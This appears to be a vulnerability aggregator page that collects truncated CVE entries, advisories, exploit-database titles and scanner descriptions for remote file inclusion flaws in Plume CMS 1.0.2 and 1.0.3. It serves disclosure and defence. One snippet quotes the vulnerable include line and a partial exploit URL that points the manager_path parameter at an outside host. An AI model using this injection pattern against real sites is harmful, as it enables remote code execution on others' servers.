CVE-2006-2645

PHP remote file inclusion vulnerability in manager/frontinc/prepend.php for Plume 1.0.3 allows remote attackers to execute arbitrary code via a URL in the PXconfigmanagerpath parameter. NOTE: this is a different executable and affected version than CVE-2006-0725...

Remote file inclusion

PHP remote file inclusion vulnerability in manager/frontinc/prepend.php for Plume 1.0.3 allows remote attackers to execute arbitrary code via a URL in the PXconfigmanagerpath parameter. NOTE: this is a different executable and affected version than CVE-2006-0725...

CVE-2006-2645

PHP remote file inclusion vulnerability in manager/frontinc/prepend.php for Plume 1.0.3 allows remote attackers to execute arbitrary code via a URL in the PXconfigmanagerpath parameter. NOTE: this is a different executable and affected version than CVE-2006-0725...

CVE-2006-2645

CVE-2006-2645 is a PHP remote file inclusion vulnerability in Plume CMS. The issue affects Plume 1.0.3 and enables an attacker to execute arbitrary code by supplying a crafted URL in the _PX_config[manager_path] parameter, targeting manager/frontinc/prepend.php. The note indicates this is a diffe...

Plume CMS Remote File Include

Vendor: Plume CMS http://plume-cms.net Vuln: Remote File Include Discovered: beford xbefordx gmail com Vulnerable File/Code ./plume-1.0.3/manager/frontinc/prepend.php code includeonce $PXconfig'managerpath'.'/conf/config.php'; /code...

Plume CMS 1.0.3 - manager_path Remote File Inclusion

Plume CMS 1.0.3 - managerpath Remote File Inclusion Vendor: Plume CMS http://plume-cms.net Vuln: Remote File Include Discovered: beford Vulnerable File/Code ./plume-1.0.3/manager/frontinc/prepend.php code includeonce $PXconfig'managerpath'.'/conf/config.php'; /code...

Plume CMS <= 1.0.3 (manager_path) Remote File Include Vulnerability

No description provided by source. Vendor: Plume CMS http://plume-cms.net Vuln: Remote File Include Discovered: beford xbefordx gmail com Vulnerable File/Code ./plume-1.0.3/manager/frontinc/prepend.php code includeonce $PXconfig'managerpath'.'/conf/config.php'; /code...

Plume CMS 1.0.3 - 'manager_path' Remote File Inclusion

Vendor: Plume CMS http://plume-cms.net Vuln: Remote File Include Discovered: beford Vulnerable File/Code ./plume-1.0.3/manager/frontinc/prepend.php code includeonce $PXconfig'managerpath'.'/conf/config.php'; /code http://urlanda.org/manager/frontinc/prepend.php?PXconfigmanagerpath=http://leet...

Plume CMS <= 1.0.3 (manager_path) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =================================================================== Plume CMS Vulnerable File/Code ./plume-1.0.3/manager/frontinc/prepend.php code includeonce $PXconfig'managerpath'.'/conf/config.php'; /code...

Plume CMS <= 1.0.2 Remote File Inclusion Vulnerability

The remote host is running a PHP application that is prone to local and remote file inclusion attacks. Description : The system is running Plume CMS a simple but powerful content management system. The version installed does not sanitize user input in the 'PXconfigmanagerpath' parameter in the...

Plume CMS <= 1.0.2 Remote File Inclusion Vulnerability

Plume CMS is prone to local and remote file inclusion vulnerabilities. SPDX-FileCopyrightText: 2006 Ferdy Riphagen Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Plume CMS < 1.0.3 Remote File Inclusion

The system is running Plume CMS a simple but powerful content management system. The version installed does not sanitize user input in the 'PXconfigmanagerpath' parameter in the 'prepend.php' file. This allows an attacker to include arbitrary files and execute code on the system. This flaw is...

CVE-2006-0725

PHP remote file inclusion vulnerability in prepend.php in Plume CMS 1.0.2, when registerglobals is enabled, allows remote attackers to include arbitrary files via a URL in the PXconfigmanagerpath parameter. NOTE: this is a different executable and affected version than CVE-2006-2645...

CVE-2006-0725

PHP remote file inclusion vulnerability in prepend.php in Plume CMS 1.0.2, when registerglobals is enabled, allows remote attackers to include arbitrary files via a URL in the PXconfigmanagerpath parameter. NOTE: this is a different executable and affected version than CVE-2006-2645...

CVE-2006-0725

CVE-2006-0725 describes a PHP remote file inclusion in Plume CMS via the _PX_config[manager_path] parameter to prepend.php. The vulnerability is triggered when register_globals is enabled, allowing an attacker to cause arbitrary file inclusion by supplying a URL, potentially executing code on the...

[SA18883] Plume CMS prepend.php File Inclusion Vulnerability

TITLE: Plume CMS prepend.php File Inclusion Vulnerability SECUNIA ADVISORY ID: SA18883 VERIFY ADVISORY: http://secunia.com/advisories/18883/ CRITICAL: Highly critical IMPACT: System access WHERE: From remote SOFTWARE: Plume CMS 1.x http://secunia.com/product/8085/ DESCRIPTION: unitedbr has...